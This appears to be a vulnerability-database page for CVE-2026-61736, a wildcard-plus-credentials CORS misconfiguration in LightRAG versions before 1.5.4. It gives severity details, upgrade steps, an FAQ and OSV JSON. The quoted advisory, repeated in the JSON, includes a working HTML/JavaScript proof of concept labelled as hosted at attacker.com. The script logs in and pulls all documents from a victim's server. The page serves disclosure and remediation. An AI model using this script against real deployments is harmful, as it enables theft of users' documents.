CVE-2026-61736: LightRAG CORS Wildcard + Credentials Enables Vulnerability

CRITICAL
Advisory Identifier: GHSA-6x6h-qqr7-855w
CVSS 9.3
CWE-942
Published
Advisory Summary

CVE-2026-61736 is a CRITICAL (CVSS 9.3) cors wildcard + credentials enables vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting LightRAG libraries in the PyPI ecosystem. The issue involves cors wildcard + credentials enables any-origin credentialed requests. Remediation is available by upgrading affected packages to version 1.5.4.

CVE-2026-61736 at a Glance

CVE Identifier CVE-2026-61736
GHSA Identifier GHSA-6x6h-qqr7-855w
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Affected Product LightRAG
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-61736

To remediate this vulnerability, upgrade all affected LightRAG dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lightrag-hku fixed: 1.5.4
pip install lightrag-hku>=1.5.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show lightrag-hku

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61736, inspect your installed packages using pip:

pip show lightrag-hku

Analyze the terminal output to locate any version of LightRAG in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.4), your application is affected.

Note: The pip show lightrag-hku command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In LightRAG, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user. ### Details ```python # lightrag/api/config.py:639 args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard # lightrag/api/lightrag_server.py:1379 app.add_middleware( CORSMiddleware, allow_origins=["*"], # any origin allow_credentials=True, # credentials — PROBLEM with wildcard allow_methods=["*"], allow_headers=["*"], ) # Starlette CORSMiddleware (confirmed in source): # preflight_explicit_allow_origin = not allow_all_origins or allow_credentials # = not True or True = True → echoes the requesting origin back, not "*" # Result: every origin receives Access-Control-Allow-Credentials: true ``` ### PoC Host on any origin. Open in browser where user is logged in to LightRAG: ```html <!-- attacker.com/steal.html --> <script> const TARGET = "http://lightrag-server:9621"; (async () => { // Get victim token (or re-use existing session) const r1 = await fetch(`${TARGET}/login`, { method: "POST", credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "username=victim&password=known_pass" }); const { access_token } = await r1.json(); // Exfiltrate all documents const docs = await (await fetch(`${TARGET}/documents`, { credentials: "include", headers: { Authorization: `Bearer ${access_token}` } })).json(); console.log("STOLEN DOCS:", docs); })(); </script> ``` ### Impact Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

CVE-2026-61736 Affected LightRAG Versions

1 component(s)
Fixed Versions:
1.5.4
Product / Package Ecosystem Affected Versions Fixed Version
lightrag-hku
PyPI
< 1.5.4
1.5.4

References

Frequently Asked Questions

What is CVE-2026-61736?
CVE-2026-61736 is a security vulnerability in LightRAG involving CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains.
Which LightRAG versions are affected?
Affected versions include releases prior to 1.5.4 across affected packages: lightrag-hku.
What version fixes CVE-2026-61736?
Upgrading to 1.5.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lightrag-hku affected?
Yes, lightrag-hku is affected in releases prior to 1.5.4. Upgrade your dependency to 1.5.4 or later.
What is the CVSS score of CVE-2026-61736?
CVE-2026-61736 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-61736?
CVE-2026-61736 is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains (The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.).
How can I check PyPI dependencies for CVE-2026-61736?
Run the dependency tree command: 'pip show lightrag-hku'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6x6h-qqr7-855w",
  "modified" : "2026-07-20T21:45:25Z",
  "published" : "2026-07-20T21:45:25Z",
  "aliases" : [ "CVE-2026-61736" ],
  "summary" : "LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests",
  "details" : "### Summary\nThe server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.\n\n### Details\n\n```python\n# lightrag/api/config.py:639\nargs.cors_origins = get_env_value(\"CORS_ORIGINS\", \"*\")  # default wildcard\n\n# lightrag/api/lightrag_server.py:1379\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],       # any origin\n    allow_credentials=True,   # credentials — PROBLEM with wildcard\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n# Starlette CORSMiddleware (confirmed in source):\n# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials\n# = not True or True = True  → echoes the requesting origin back, not \"*\"\n# Result: every origin receives Access-Control-Allow-Credentials: true\n```\n\n### PoC\n\nHost on any origin. Open in browser where user is logged in to LightRAG:\n\n```html\n<!-- attacker.com/steal.html -->\n<script>\nconst TARGET = \"http://lightrag-server:9621\";\n(async () => {\n  // Get victim token (or re-use existing session)\n  const r1 = await fetch(`${TARGET}/login`, {\n    method: \"POST\", credentials: \"include\",\n    headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n    body: \"username=victim&password=known_pass\"\n  });\n  const { access_token } = await r1.json();\n\n  // Exfiltrate all documents\n  const docs = await (await fetch(`${TARGET}/documents`, {\n    credentials: \"include\",\n    headers: { Authorization: `Bearer ${access_token}` }\n  })).json();\n  console.log(\"STOLEN DOCS:\", docs);\n})();\n</script>\n```\n\n### Impact\nPermissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lightrag-hku"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61736"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/pull/3317"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/df68d75f9dc29dd340ffb6794b48f48c4fdc9a2d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/ebba6548639c0f2e8919100eff76b401f1222252"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HKUDS/LightRAG"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:45:25Z",
    "nvd_published_at" : "2026-07-15T15:16:48Z"
  }
}